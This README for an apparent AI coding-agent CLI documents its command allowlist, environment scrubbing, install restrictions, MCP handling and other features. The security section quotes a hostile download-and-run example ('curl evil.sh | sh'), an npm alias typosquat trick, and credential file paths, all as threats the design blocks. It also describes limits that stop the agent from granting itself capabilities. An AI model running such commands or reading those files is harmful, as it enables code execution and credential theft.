One object on stdout, every human line on stderr. ran and passed are separate fields, because a test suite that executed and failed is not the same as one that never ran.

---

Not just code

If the services are configured, the tools it can reach include see_page, make_document, transcribe and speak. The combinations are the point:

acuvo "make me a one-page invoice for Acme Ltd, 3 line items, and give me it as a PDF"

→ writes the HTML, looks at it, converts it. A real PDF, no coding involved.

acuvo "transcribe standup.m4a and turn the decisions into a checklist"

---

What it can execute — read this before trusting it

Four programs, and nothing else: node, npm, npx, tsc.

Concretely: node <file>, node --test <file-or-dir>, npm test, npm run <script>, npx vitest run, tsc --noEmit.

There is no shell. Pipes, &&, ;, redirection, quotes, backticks and $() are refused by a character whitelist, so npm test && curl evil.sh | sh dies at the & rather than at a blacklist of program names somebody has to maintain. rm, curl, git and every other binary are simply unreachable.

Arguments are checked too — node --eval is refused (code that never touches disk cannot be reviewed afterwards), and every non-flag token must resolve inside your workspace.

npm test runs whatever package.json says, and the agent can write package.json — so the script body is validated before npm is spawned, along with its pre/post hooks.

The child process gets a scrubbed environment: conventionally-named secrets are stripped, so a generated script cannot read your API keys and post them somewhere.

Other languages: presets, off by default

Those four are the default, not the ceiling, and this README used to stop at "four programs" as though they were. A project can enable one of six vetted presets — each a build/test driver for code already on disk:

preset	what it adds
python	python, python3, pytest
go	go
rust	cargo
ruby	ruby, rspec, bundle
make	make
node-bin	eslint, prettier, jest

// .acuvo/commands.json
{ "presets": ["python"] }

Then python -m pytest is accepted; without it the refusal names the preset that would allow it rather than just saying no. acuvo --doctor prints the enabled set — live programs it may run node, npm, npx, tsc · no presets enabled on a fresh workspace.

The workspace file may name presets and nothing else, and that boundary is the whole design. .acuvo/commands.json lives in the workspace, and the agent can write to the workspace — so a file there choosing an arbitrary binary would be the agent granting itself a program. Every preset is a menu item vetted in lib/command.mjs; picking one buys a second interpreter for code the agent could already execute with node. A program of your own choosing can only be named in ACUVO_ALLOW_COMMANDS, in the environment that launches the CLI, which the agent has no verb that reaches. A shell (bash, sh, cmd, powershell, env, xargs, …) is refused at every layer including that one.

Adding a dependency — ACUVO_ALLOW_INSTALL=1, off by default

"Add zod validation to this endpoint" used to dead-end: the agent wrote the import and had no verb that could ever make it resolve. npm install is now available, and only when the operator sets ACUVO_ALLOW_INSTALL=1 in the environment that launches the CLI.

It is deliberately not a preset. A preset can be enabled by a file inside the workspace, and the sentence above — "picking one buys a second interpreter for code the agent could already execute" — has to stay true. An install is not an interpreter, it is a downloader: it runs code that arrived from a stranger seconds ago and that nobody has read. So it uses the same door as ACUVO_ALLOW_PUSH, the only other verb whose blast radius leaves your machine.

When it is on, the narrowing is the point:

• --ignore-scripts is forced, derived from the argv at spawn time, so no caller can forget it and no flag or .npmrc can switch it back on. Install hooks are how essentially every npm supply-chain worm has propagated. The cost is real and named: packages that compile a native addon or download a binary at install time (esbuild, sharp, better-sqlite3, puppeteer) will land on disk and fail at require time. The tool result says so on every install, so the agent can tell you rather than flail.
• Registry names only — no URL, git, file:, GitHub user/repo, or npm: alias. The alias is the nasty one: zod@npm:evil-package leaves package.json reading zod.
• A version, not a range. zod, zod@4.1.12, zod@^4.1.0, zod@latest. Not zod@*.
• At most four packages per call, and npm ci may name none (it installs exactly what the lockfile already records).
• The change is saved. --no-save and --no-package-lock are refused — an install nobody can see in a diff is worse than no install. The result reports the exact line npm wrote into package.json.
• A workspace .npmrc that redirects registry=, sets ignore-scripts=false, or names a script-shell refuses the install. That file is inside the workspace and the agent can write it, so without this check every rule above would be decorative.
• npm exec and npm publish have no switch at all, and an install can never be a background process.

What none of this solves, stated plainly: a package name chosen by a language model is not safe. zod and zodd are both well-formed names, and the Shai-Hulud npm worm shipped payloads inside AI coding-agent config files precisely because agents install what they are told to install. No regex separates a typosquat from the real thing. What forced --ignore-scripts buys is that a typosquat which lands has not executed — it is code in node_modules that runs only if the agent's own code imports it, which is the same risk class as node <file the model wrote> rather than the strictly worse "arbitrary code ran during a command that looked like housekeeping".

There is a second execution path, and this section used to omit it

evaluate (lib/evaluate.mjs) runs a JavaScript snippet the model wrote. It exists because the model kept reaching for node -e "…", which dies on the quote whitelist above and burns a round — so it was given the thing instead of another sentence telling it not to.

It does not go through the command whitelist at all. It writes the snippet to .acuvo-eval-<pid>-<ts>.mjs at the workspace root and spawns node <that file> directly, so ALLOWED_BINARIES, the argument grammar and the npm script-body validation described above do not apply to it. Omitting that from this section was the omission worth naming: the paragraph claimed four programs and nothing else, and there was a fifth door.

What does apply, verified in the source:

• --no-run removes it. evaluate is only offered when running is allowed (lib/tools.mjs), so the flag documented as "never execute anything" is honest about it.
• --dry-run refuses it before anything is staged (evaluateSnippet).
• The same workspace path rules, the same bounded spawn, the same scrubbed environment as run_command.
• 4,000 characters maximum (MAX_SNIPPET_CHARS) — longer than that is a program, and programs get written properly.
• The file is removed in a finally, including on timeout, and the snippet is echoed back in the result, which is what keeps the node --eval audit objection satisfied.

The honest summary: evaluate cannot do anything write_file + run_command could not already do in two calls, which is the right test for any new capability. But it is a code execution path, and a security section that lists execution paths has to list it.

And a third: run_program

run_program (lib/spawn-argv.mjs) starts a process too, so by the same rule it belongs in this list. It exists because the paragraph above is not only a security boundary, it is also a capability ceiling: a string runner cannot tell node app.js add "buy milk" from a model composing a second command, so it refuses the quote — and the agent could not execute the flags and arguments it had itself just written. Measured in three probe runs; two of them shipped a README describing output that had never been produced.

What applies to it, verified in the source:

• The same four programs. ALLOWED_BINARIES is imported from lib/command.mjs, not re-declared. Every node flag before the script path is checked by asking validateCommand about that one token, so --eval, --require, --import, --env-file, --inspect and --watch stay closed with command.mjs's own refusal sentence. There is one authority and no second copy to drift.
• It is a strict subset, never a widening. .acuvo/commands.json may only add presets, so the four fixed binaries here can never exceed what run_command would allow on the same machine. The asymmetry runs the other way: if you enabled the python preset, that reaches you through run_command only.
• No shell, ever. spawn with shell: false and an argv array. A quote, a space, a --flag, a ; or a > is data in an argv slot — there is no parser left to reinterpret it, which is why widening the character whitelist was the wrong fix.
• --no-run withholds it and --dry-run refuses it, both at the offer and at the dispatcher, because a model can call a tool it was never shown.
• The same bounded spawn, output cap and scrubbed environment — plus it deletes two variables run_command does not: NODE_OPTIONS (the flag allowlist's back door, read by node before argv) and NODE_TEST_CONTEXT (which makes a nested node --test return exit 0 and empty output — a silent green).
• No detached spawning, and no process-group kill. The child is SIGKILLed on timeout and a grandchild it spawned can outlive it. Stated rather than papered over.

What this is not

It is not a sandbox, and calling it one would be dishonest. node src/thing.js, where a language model wrote src/thing.js thirty seconds ago, is arbitrary code execution — unavoidably, because running the code is the entire point of a fix loop.

The real boundary: the agent cannot compose a command, cannot pick a program, cannot pass arguments outside your workspace, and cannot see your credentials in its environment. The code it runs can still do anything Node can do. The mitigation is that the code is on disk, written by tools that could not leave the workspace, and shown to you before it runs.

Those three words matter and were missing. The scrub is a denylist over environment variable names (SECRET_NAME, lib/command.mjs). It does not reach the filesystem: a generated script can still read ~/.aws/credentials, ~/.ssh/id_rsa and ~/.config/gh/hosts.yml, and a variable named MY_DB_STRING survives the pattern. The source says so about itself; this sentence used to round it up to "cannot see your credentials", full stop.

Use --dry-run for a task you do not trust yet, or --no-run to let it write without executing. Both now also block the MCP spawn described below — verified by running a workspace containing a hostile .mcp.json under each flag.

---

The rest of the verbs

The registry holds 64 tools (TOOL_SCHEMAS, lib/tools.mjs — count it yourself, and acuvo --doctor prints which of them would be offered on your machine). The obvious ones are above; the rest reach the model in any multi-round run (--max-rounds above 1, which is the default). You never name them — the model picks. They are listed because a capability only the changelog knows about is unreachable in the way that matters.

tool	what it does	when it is offered
run_program	Run node / npm / npx / tsc with a real argument array instead of a string. run_command has to guess whether a quote is you passing a value or the model composing a second command, so it refuses the character — which means node bin/todo.js add "buy milk", node bin/todo.js list --all and node --test "test/*.test.mjs" were all unrunnable. Here each array item is exactly one argv slot, there is no shell and nothing re-parses it.	withheld by --no-run and by --dry-run, like every other way of starting a process
read_lines · read_around	Windowed reads of a large file. read_file truncates the middle of a big file and gives the model nothing to act on; these truncate the end and hand back a nextOffset to continue from. read_around returns byte-exact text with real indentation, which is the only safe source for an edit_file old_string.	always
list_engines	What a creative engine costs, before you spend one finding out. Lists the Acuvo image/video/voice/face engines, whether each is on your plan, and the credit cost per image or clip. This package holds no price list — it asks your account's gateway and caches the answer under ~/.acuvo/, because a price compiled into an npm package is the price that shipped the day you installed it, and a price in node_modules is one the person being billed can edit. With no answer it prints prices unavailable rather than a plausible number.	multi-round runs; needs no key of any kind
fetch_url	Fetch a public page as text. GET only, no headers, private and loopback addresses refused, 10 fetches per run.	always
plan_start · plan_step · plan_status	A visible plan with a round countdown. Every later round carries plan: 1/3 done · 2 remaining: … · round 4 of 5, so the model can see the wall it is driving at instead of spending its last round the way it spent its first.	always
declare_acceptance · check_acceptance	Name the command that decides whether the job is done, and run it. A declared criterion sets the exit code — see below.	withheld by --no-run, because check_acceptance executes commands
list_sessions	Lets the model see that an earlier run already attempted this. Read-only; resuming is an operator action, from the command line.	always
read_skill	Opens one of your procedures — see below.	only when .acuvo/skills/ holds at least one skill
delegate	Hands a read-only research question to a helper with its own fresh context — "where is X defined", "which files call Y" — and gets back a short summary instead of everything it read. The helper is offered twelve tools, all of them reads (SUBAGENT_TOOL_NAMES, lib/subagent.mjs); it cannot write, edit, commit or run anything, it is capped at 6 rounds (4 by default), and it cannot delegate again (MAX_SUBAGENT_DEPTH = 1 — two levels is how a five-round task becomes a hundred model calls nobody authorised).	always, when model credentials reached the dispatcher — it is the one tool that spends a completion of its own, and it refuses rather than guessing a config
remember · forget	Facts that outlive the run. remember writes one markdown file per fact into .acuvo/memory/; the next run reads them back into the prompt, so it does not rediscover your real test command. forget deletes one, because a wrong memory is worse than no memory. Bounded at 40 entries / 4,000 bytes / 400 characters a fact, oldest evicted; every fact must carry a why, and anything that pattern-matches a credential is refused outright — "these files are committed to the repo, so nothing secret can go in one".	always
find_definition · find_references · check_types · list_symbols	Real semantic navigation through a language server (typescript-language-server, pyright, rust-analyzer, gopls).	only when a server is installed and this project contains that language

The two gates are the point, not a limitation. A control that presents itself and does nothing is worse than one that is absent: a model offered check_types on a machine with no language server learns to try, wait and apologise. Measured while integrating this: a zero-dependency JavaScript package was offering all four LSP tools because rust-analyzer happened to be on the developer's PATH from unrelated work — installed, useless here, and four dead buttons. The gate is now the intersection of installed and spoken by this project.

Integrations — MCP, and the curated set

The 64 tools above are the ones we built, and that is a real ceiling: work that lives in your database, your issue tracker or your browser needs an adapter nobody is going to write. Model Context Protocol is the escape — an MCP server is just a process, so breadth here is nearly free.

Which is exactly why access is not the edge — curation is. Every agent in this category speaks MCP and hands you an empty config file. What is scarce is a short list somebody actually ran. acuvo --doctor prints ours, live, in the MCP SERVERS section: what you have configured, then what you could have, with the reason each one is off and the exact line that turns it on.

MCP SERVERS
  live    curated servers   4 of 6 servers we have run ourselves are usable here
                            (acuvo, browser, docs, playwright) — 8 in the catalogue in total
  live    browser           Drive a real Chrome: click, fill forms, type, navigate …
  live    docs              Look up current, version-specific documentation …
  dark    filesystem        @modelcontextprotocol/server-filesystem is not installed …
                            → npm i -g @modelcontextprotocol/server-filesystem

The two worth knowing about, because they cover what this CLI structurally cannot do:

server	what it adds	install
browser (Chrome DevTools MCP)	The one thing nothing here can do: click, fill a form, type, drive a flow. see_page renders and measures a page; it cannot press a button. Drives the Chrome already on your machine — no browser download. Verified: 29 tools, connected in 2.9s, navigated and read the accessibility tree back.	npm i -g chrome-devtools-mcp
docs (Context7)	Current, version-specific library documentation as source-cited snippets rather than search results — the fix for a model confidently quoting an API that changed two majors ago. Verified: 2 tools, real answers, no API key.	npm i -g @upstash/context7-mcp

Then add it to .acuvo/mcp.json under "mcpServers". playwright is also verified (24 tools) if you need Firefox or WebKit — note it writes .playwright-mcp/ into your working directory unless you pass --output-dir.

Nothing is enabled for you, and that is arithmetic rather than caution. A server that cannot start still costs the full 20-second handshake timeout — measured at 20,052ms — before your first prompt. Anything needing a download or a credential is therefore off by default: this client passes npx --no, so it can only run a package that is already installed, and it can never fetch one for you.

The canonical install line from every MCP README does not work here, by design. {"command":"npx","args":["-y","@playwright/mcp@latest"]} becomes npx --no @playwright/mcp@latest — -y is stripped and --no injected so a config file can never trigger a download-and-execute. Install the package globally first, and drop the @latest tag. The catalogue's entries are already written in the form that works.

The user chooses the servers, never the model. There is deliberately no connect_mcp_server tool — a model that can add its own capabilities can grant itself anything on the machine. And a server you configure runs with your environment: we do not sandbox it and do not claim to. Read ENTERPRISE.md §3.1 before committing an mcp.json, because a committed one in a repo you cloned is spawned on an ordinary run.

docs is a network service — your query text goes to Upstash. Named here because it is an egress path a reviewer will want to know about, like generate_image below.

Skills — your procedures, no pull request needed

Write a markdown file in .acuvo/skills/:

---
name: new-endpoint
description: how this project adds an HTTP endpoint
when: adding any new route or endpoint
---

1. Every endpoint file goes in `routes/`, named `<verb>-<noun>.js`.
2. Every endpoint must export a function called `handle`.
3. Every file must start with `// OWNER: platform-team`.

The catalogue (name, description, when) goes into the system prompt; the body is only loaded when the model calls read_skill, so twenty skills cost you three lines of prompt rather than twenty documents.

Measured, 2026-08-11, with exactly the skill above and the task "add an endpoint that returns the current health status" — nothing about skills in the prompt the user typed: the model called read_skill as its first tool and wrote routes/get-health.js, exporting handle, beginning with // OWNER: platform-team.

A skill is notes, not permissions. It cannot grant a tool, lift a restriction or override a safety rule, and both the catalogue and the loaded body say so — a skill file is prose sitting in a repository, so it is treated as untrusted text.

Acceptance — make the verdict be about the command you named

✔ VERIFIED means a command exited 0. That is not the same as "the thing you asked for passed", and the gap is where a green tick about the wrong command lives.

• A declared criterion (declare_acceptance, or .acuvo/acceptance.json) decides the exit code. If it is unmet, the process exits 1 and --json reports failed: true. If nothing in the run satisfied it, it is run once at the end, free — no model call.
• A derived criterion — read out of your own task text, e.g. "it must pass: npm test" — is reported and never gates. This runner guessed it out of prose, and a guess must not be able to fail a run that did the right thing under a different name (npm test vs npm run test).

--json says which you got:

"acceptance": { "source": "declared", "gating": true, "verdict": "unmet",
                "unmet": [{ "command": "npm test", "why": "it ran and exited 1" }] }

Read .acceptance as well as .verification. A run can verify one command and miss the one you named; verification.passed will be true and acceptance.verdict will be unmet. The exit code follows the declared criterion, so acuvo --json … && git push is safe if the criterion was declared.

.acuvo/ — what the CLI writes into your workspace

It is one directory in your repository, and it holds two different kinds of thing.

path	what it is	commit it?
.acuvo/sessions/	Resumable runs, newest 20 kept. What --sessions, --resume and --replay read.	no — machine-local, and large
.acuvo/audit/<date>.jsonl	One redacted line per invocation: what was asked, what changed, what verified, what it cost. Never file contents, command output or model prose.	your call. Ignore it by default; commit it deliberately if the record is the point
.acuvo/plan.json, .acuvo/acceptance.json	The agent's own bookkeeping for the run in progress.	no
.acuvo/steer.txt	An instruction you write WHILE it works — see below. Read and deleted at the next round boundary.	no
.acuvo/skills/*.md	Your procedures — see above.	yes
.acuvo/memory/*.md	Facts remember recorded, one file each. Markdown on purpose: diffable, reviewable in a PR, and the reason a credential is refused before it can be written.	yes
.acuvo/commands.json	Which command presets this project enables — see below.	yes
.acuvo/mcp.json	MCP servers to connect to (.mcp.json at the root is also read, second). Written by you; no tool can add one.	yes, if your team shares them — and read ENTERPRISE.md §3.1 first, because a committed one in a repo you cloned is spawned on an ordinary run

So the ignore rule is not .acuvo/, and this section used to say it was — which would have thrown away the three files that are meant to travel with the repo:

.acuvo/*
!.acuvo/skills/
!.acuvo/memory/
!.acuvo/commands.json

--no-session and --no-audit opt out of the two records; --dry-run writes neither.

Steering it mid-run — .acuvo/steer.txt

A run is not a thing you can only watch or kill. Write a line into .acuvo/steer.txt from anywhere — another terminal, your editor, a script — and the run picks it up at the next round boundary, appends it to the conversation as something you said, and carries on from the same transcript. Nothing already done is thrown away.

echo "stop writing tests, just fix the import" > .acuvo/steer.txt

What you see, from a real run:

  ⚠ stopped after round 8 — you steered the run mid-flight
  ⤳ steering: "stop writing tests, just fix the import" — applied now, 2 rounds left · $0.002161 spent so far

── round 1/2 ─────────────────────────────
  The user changed direction: I will keep only the circle function …

• It is a file, not a keystroke, because interactive mode gives stdin to readline and one-shot mode — the long case, the one that needs it — has no keyboard in the loop at all. A file works in both, and can be written by something that is not a person.
• Read once, then deleted. An instruction you gave once must not become one you cannot stop giving.
• The rounds are not refilled. The continuation gets what was left of --max-rounds, and the --budget ceiling covers the whole turn, not each segment of it.
• Bounded to 3 steers per turn, and a steer that could not be applied says so rather than vanishing.

Stopping it — Ctrl-C

The first press stops the run at the end of the round in flight: the transcript is saved, the cost is recorded, the changes are reported, and acuvo --resume carries on. The second press quits immediately. Either way the exit code is 130 (128+SIGINT), never 1 — 1 means "the code it wrote still does not pass", and a script that cannot tell those apart retries the wrong one.

---

What it sends before it starts

Every fresh task begins with a repo map: the directory tree plus the exported symbols of the source files, bounded to about 6,000 tokens (DEFAULT_BUDGET_TOKENS, lib/repo-map.mjs), and byte-stable so the prompt prefix caches. Files that do not fit are named as a count per directory, with a pointer to find_files / search_text — omitted, never silently absent.

This replaced an older pre-read that had two real defects, and both are fixed rather than mitigated:

• It walked only two levels and read the contents of every small file it found. A module four directories down was invisible, so the model would invent a plausible file and write over the wrong one.
• It sent the body of gitignored files to the provider. The map lists a path when the tree shows one and never reads an ignored file's contents. .env, *.pem, id_rsa and other credential-shaped files are withheld entirely and reported as a count.

If a workspace cannot be read, the map is simply empty and the task proceeds — a pre-read is an optimisation, not a precondition, and it may never be the thing that kills a run.

---

Git

Git is exposed as structured verbs, not as a command string: git_status, git_diff, git_log, git_commit.

push, reset, checkout, clean, rebase and merge are not refused — they are inexpressible. There is no path from a model-authored string to a git subcommand it was not given.

Two deliberate restrictions:

• Commit requires you to name the paths. There is no "commit everything": sweeping up files nobody looked at is how scratch files and secrets get committed.
• .env, *.pem, id_rsa and friends are never staged, whatever .gitignore says. History keeps a secret after you delete it.

If your workspace sits inside a larger repository, git commands are refused. Git walks upward to find a repo, so operating from a subdirectory would report — and commit — changes from the whole outer project.

---

Media tools

Four of these are only offered when you configure their endpoint. A tool whose service is absent is never mentioned, so the agent cannot waste a round discovering it does not work.

tool	env	what it does
see_page	RENDER_AUDIT_URL	Render your HTML in a real browser; save the screenshot, report measured layout problems.
speak	MODAL_TTS_URL	Text → an audio file in your workspace.
transcribe	MODAL_TRANSCRIBE_URL	Audio/video → text with timestamped segments.
make_document	MODAL_PRESS_URL	HTML → PDF, PNG or PPTX.
(all four)	MODAL_VIDEO_SECRET	The shared secret those endpoints expect.

MODAL_VIDEO_SECRET is the one that costs the most time, and it used to be documented nowhere. It is not a URL, so it never appears in an error about a missing endpoint — a correctly-set URL without it fails authorisation and reads like a broken service. Its absence is what made four working tools look broken. acuvo --doctor now distinguishes the three states explicitly: live (reachable and authorised), dark (unset — the tool is simply never offered), broken (set, and not answering).

--design <file.html> — the design loop, without the agent

acuvo --design index.html

Renders the page, looks at it, and prints a verdict. No model call, no completion spent. Real output, on a page written for this README:

LOOKED AT index.html — 1280×900
1. unreadable text (contrast 1.71:1, needs 4.5): Zero dependencies. One file. It runs what it writes.
2. the page scrolls sideways: content is 2590px wide in a 1280px viewport
  screenshot: .acuvo/render-1786419880418.png (19KB)

Exit 0 when the page was looked at and nothing was found; 1 when the look failed or the page has findings. On a terminal that speaks kitty or iTerm2 the actual pixels are drawn inline — the path line stays either way, because the image is an addition to the report and never a replacement for it.

"Could not look" is never reported as "the page is fine." With RENDER_AUDIT_URL unset it names that variable and makes no claim about the page. The JSON form carries the same distinction in a field (trustworthy), so a script cannot mistake one for the other.

The same verdict is what the agent now reads when it calls see_page. Measured: the verdict is 26 tokens where the raw tool record was 205 and the screenshot itself would be 1,536. Anyone can take the photograph; the compression is the product.

Voice — --task-audio in, --say out

acuvo --task-audio note.wav          # transcribe a file and run what it says
acuvo --say "fix the failing test"   # speak the verdict when the run ends

It shows you the transcript and waits. Enter cancels, y runs it, and anything else is treated as a correction — "no, the server not the sensor" fixes a mis-heard word without retyping the task. That keystroke is the whole thing standing between a mis-heard word and a file-writing agent, so there is no way to skip it except --yes, which is required in a pipe, in CI, or with --json (where there is nobody to ask).

A full round trip, run 2026-08-11: --say wrote a 424KB .wav, that file was fed back in with --task-audio, and the transcript came back as "Create a file called Greeting.Text containing the word working." — which, confirmed with --yes, the agent then did.

  heard in ask.wav:

    "Create a file called Greeting.Text containing the word working."

  run it? [y = yes · Enter = no · or type a correction]

It does not record and it does not play. --task-audio needs a file that already exists; --say writes a .wav and prints the one command that plays it on your OS. Both are deliberate: live capture and audio playback each mean an npm dependency or an OS binary past the command allowlist, and zero dependencies is the point of this package.

--parallel is not narrated. N verdicts read aloud in a random order is noise.

The horizon: the history is compacted, and it says so

There is no flag for this. As a conversation approaches a 24,000-token budget the loop compacts it before it pays for the next call — clamping and stubbing old tool results, never removing messages — and prints what it freed. Real output, from a 15-round session run 2026-08-11 (rounds 12, 13 and 14 each compacted):

── round 13/16 ─────────────────────────────
  · 25,206 → 23,287 estimated tokens (7.6% freed, ~1,919 tokens) across 3 of 12 tool results.
  ·   giant-results: 3
  ·   under the 24,000 token budget.
  ·   ⚠️ every token number here is an ESTIMATE — characters divided by 4 …

Silent compaction is indistinguishable from amnesia, which is why it is always announced: without the line, an agent that stops knowing something it read two rounds ago looks like a defective model. Every token figure is an estimate (chars ÷ 4 — counting properly would mean a dependency) and the printed line says so.

A conversation already under budget is returned byte-identical and costs nothing, so short sessions are unaffected — measured, an 8-round session in the same workspace never triggered it once.

This is what made --max-rounds safe to raise from a ceiling of 8 to 16, and again to 64 on 2026-08-16: the constraint was never the round count, it was a transcript that grew without bound. The 15-round session quoted above could not have existed under the old ceiling.

Honest limits. Compaction only ever clamps tool results; it does not summarise, so on a transcript whose weight is model prose rather than file contents it frees little. The 7.6% above is what one real session happened to yield — the saving depends entirely on what the model did, and no fixed percentage is promised. underBudget: false is a real reported outcome: it does not pretend to have fitted something it could not.

generate_image is different — it is ON by default, and it leaves your machine

Image generation works with no configuration at all, because a capability you have to discover and configure is one most people never see. That convenience has a cost you are entitled to know about before you run it, so here it is plainly:

When the agent generates an image, your prompt is sent to a third-party service over the internet. By default that is Perchance, reached directly over HTTP/2 — your prompt goes to them, not to us, and no XXIautomate server is involved. If they do not answer, the request falls through to Pollinations, which also needs no account. No file contents, no code and no credentials from your workspace are sent to either.

Two things this section used to leave out, both of which you are entitled to know:

1. The prompt that leaves is not the prompt you wrote. Every request is rewritten by an art director before it is sent (lib/image-director.mjs): photographic direction — lens, light, composition, grade — is appended, and requests for text are actively removed, because diffusion models cannot spell and garbled lettering is the defect a viewer reads instantly as "made by a machine". Ask for "a coffee bag with the label Ember & Oak" and the service is asked for a composition that needs no label. This makes the output much better and it means the literal string you typed is not what was transmitted.

2. The generated image is uploaded to OpenRouter to be looked at. After each attempt the PNG is base64'd into a vision call to qwen/qwen3.7-flash on your own OPENROUTER_API_KEY (critiqueImage, lib/image-director.mjs) which scores it and names its defects. That is a second egress, to a second party, of a file that is in your workspace. It is what stops the agent — which cannot see — from confidently referencing a smeared, illegible hero across four pages, which is a thing that actually happened. Without an API key the critic is skipped and the result says so (accepted: false, "NOT reviewed") rather than assuming approval. Up to two attempts, never three.

Timing — and this paragraph was WRONG until it was measured. It previously said the generation was "about three seconds" and the whole call "closer to ten seconds", and flagged the tool's own "about a minute per image" as a stale leftover to be corrected.

Measured end to end, 2026-08-11, one real call (generateImage, 512×512, a funded OPENROUTER_API_KEY present so the critic ran, default route straight to perchance.org):

elapsed 54,829 ms  ·  ok: true  ·  a-sharp-high-resolution-photograph-of-a-.jpg

Fifty-five seconds. The schema's "about a minute per image" is the accurate number and the README's three-and-ten were the stale ones — the correction had been aimed at the wrong file. Nothing in the schema was changed as a result. Budget roughly a minute per image, and up to twice that when the critic rejects the first attempt.

The reason this is worth writing down rather than quietly editing: the earlier numbers were inherited from a source that measured generation only, and were then presented as the cost of the whole call. That is how a document ends up recommending a change to the one line in the package that was already right.

Three ways to control it:

export PERCHANCE_IMAGE_URL=            # empty = OFF. The tool is never offered.
export PERCHANCE_IMAGE_URL=http://localhost:8080   # point it at your own instance
acuvo --no-run "…"                     # unrelated, but it stops execution entirely

Setting it to an empty string disables it deliberately and is respected — an unset variable means "use the default", an empty one means "I have decided not to".

This section previously said the opposite — that every media tool was gated on its env var. That was false for generate_image and had been for some time. It is documented here rather than quietly corrected, because undisclosed network egress from a tool you installed is exactly the kind of thing that should cost a project its credibility.

---

Tests

npm test          # node --test test/*.test.mjs — no network, no API key

1,378 tests across 61 files, measured 2026-08-11: 1,333 pass, 45 skipped, 0 fail. (This README said 455 for long enough that the real number had tripled underneath it. The count above is a snapshot, not a constant — run the command and believe the output, not this line.)

They cover the safety decisions — path escapes, shell refusal, credential scrubbing, ambiguous edits, commit guards — the places where being wrong is dangerous rather than merely broken. test/docs-truth.test.mjs additionally fails the suite when this README's documented defaults stop matching the exported constants.

Read the skip count, not just the fail count. A suite that is green because a whole file excused itself is the same lie as a suite that is green because it found no tests, and the second one is named below.

This paragraph used to report 44 skips in test/bundle.test.mjs — 545 lines of spec for a scripts/bundle.mjs that did not exist. It exists now, and those tests run: the current suite skips 2 in total. The rule the paragraph states is unchanged and still worth obeying; only its example got fixed.

npm test is a false green in an installed copy. package.json's files allowlist ships bin/, lib/ and the docs — not test/. Run it from a source checkout, where the tests exist. In a packed or installed copy the glob matches nothing, node --test finds no tests, and the command exits 0 having verified precisely nothing. A green that means "no tests ran" is the worst kind, so it is named here rather than left to be discovered.

---

Licence

Functional Source License (FSL-1.1-Apache-2.0). See LICENSE — read it, audit it, run it, self-host it, modify it, build on it. The one thing you may not do is run a commercial service that substitutes for Acuvo Code. Converts to Apache 2.0 after two years.

---

_{Acuvo Code is a developer tool built by XXIautomate. Not affiliated with, endorsed by, or connected to AKUVO, Inc. or any collections, lending or financial software product.}